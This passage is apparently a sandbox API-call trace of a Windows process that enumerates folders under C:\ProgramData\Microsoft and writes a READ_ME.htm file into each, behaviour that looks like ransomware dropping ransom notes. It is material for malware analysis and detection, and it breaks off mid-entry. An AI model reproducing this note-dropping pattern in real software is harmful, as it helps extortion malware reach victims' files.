SetErrorMode (uMode=0x0) returned 0x1 [0139.336] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x35 [0139.337] SetErrorMode (uMode=0x1) returned 0x0 [0139.337] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.338] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.338] SetErrorMode (uMode=0x0) returned 0x1 [0139.338] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\READ_ME.htm", lpFilePart=0x0) returned 0x41 [0139.338] SetErrorMode (uMode=0x1) returned 0x0 [0139.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.339] GetFileType (hFile=0x1d0) returned 0x1 [0139.339] SetErrorMode (uMode=0x0) returned 0x1 [0139.339] GetFileType (hFile=0x1d0) returned 0x1 [0139.340] WriteFile (in: hFile=0x1d0, lpBuffer=0x285ca48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x285ca48*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0139.341] SetErrorMode (uMode=0x1) returned 0x0 [0139.341] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\netframework\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.342] GetFileType (hFile=0x1d0) returned 0x1 [0139.342] SetErrorMode (uMode=0x0) returned 0x1 [0139.342] GetFileType (hFile=0x1d0) returned 0x1 [0139.342] WriteFile (in: hFile=0x1d0, lpBuffer=0x2860fd8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2860fd8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.344] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network", lpFilePart=0x0) returned 0x20 [0139.344] SetErrorMode (uMode=0x1) returned 0x0 [0139.344] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*" (normalized: "c:\\programdata\\microsoft\\network\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.345] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.345] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0139.345] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0139.345] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0139.345] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.345] SetErrorMode (uMode=0x0) returned 0x1 [0139.345] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network", lpFilePart=0x0) returned 0x20 [0139.345] SetErrorMode (uMode=0x1) returned 0x0 [0139.346] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*" (normalized: "c:\\programdata\\microsoft\\network\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.346] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.346] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0139.346] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0139.346] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0139.346] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.347] SetErrorMode (uMode=0x0) returned 0x1 [0139.347] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x2c [0139.347] SetErrorMode (uMode=0x1) returned 0x0 [0139.347] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*" (normalized: "c:\\programdata\\microsoft\\network\\connections\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.348] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.348] SetErrorMode (uMode=0x0) returned 0x1 [0139.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x2c [0139.349] SetErrorMode (uMode=0x1) returned 0x0 [0139.349] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*" (normalized: "c:\\programdata\\microsoft\\network\\connections\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.349] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.349] SetErrorMode (uMode=0x0) returned 0x1 [0139.350] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Connections\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0139.350] SetErrorMode (uMode=0x1) returned 0x0 [0139.350] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\network\\connections\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.350] GetFileType (hFile=0x1d0) returned 0x1 [0139.351] SetErrorMode (uMode=0x0) returned 0x1 [0139.351] GetFileType (hFile=0x1d0) returned 0x1 [0139.351] WriteFile (in: hFile=0x1d0, lpBuffer=0x28687f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28687f8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.352] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2b [0139.353] SetErrorMode (uMode=0x1) returned 0x0 [0139.353] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe39afb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0139.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe85dbc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0139.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe85dbc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0139.354] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.354] SetErrorMode (uMode=0x0) returned 0x1 [0139.354] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2b [0139.354] SetErrorMode (uMode=0x1) returned 0x0 [0139.354] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe39afb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1 [0139.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe85dbc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0139.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xffe85dbc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0139.355] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.355] SetErrorMode (uMode=0x0) returned 0x1 [0139.355] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\Downloader\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0139.356] SetErrorMode (uMode=0x1) returned 0x0 [0139.356] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.356] GetFileType (hFile=0x1d0) returned 0x1 [0139.357] SetErrorMode (uMode=0x0) returned 0x1 [0139.357] GetFileType (hFile=0x1d0) returned 0x1 [0139.357] WriteFile (in: hFile=0x1d0, lpBuffer=0x286ea80*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x286ea80*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.359] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Network\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0139.359] SetErrorMode (uMode=0x1) returned 0x0 [0139.359] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\network\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.360] GetFileType (hFile=0x1d0) returned 0x1 [0139.360] SetErrorMode (uMode=0x0) returned 0x1 [0139.360] GetFileType (hFile=0x1d0) returned 0x1 [0139.360] WriteFile (in: hFile=0x1d0, lpBuffer=0x2873000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2873000*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.362] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Office", lpFilePart=0x0) returned 0x1f [0139.362] SetErrorMode (uMode=0x1) returned 0x0 [0139.362] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Office\\*" (normalized: "c:\\programdata\\microsoft\\office\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3100cb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.365] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, 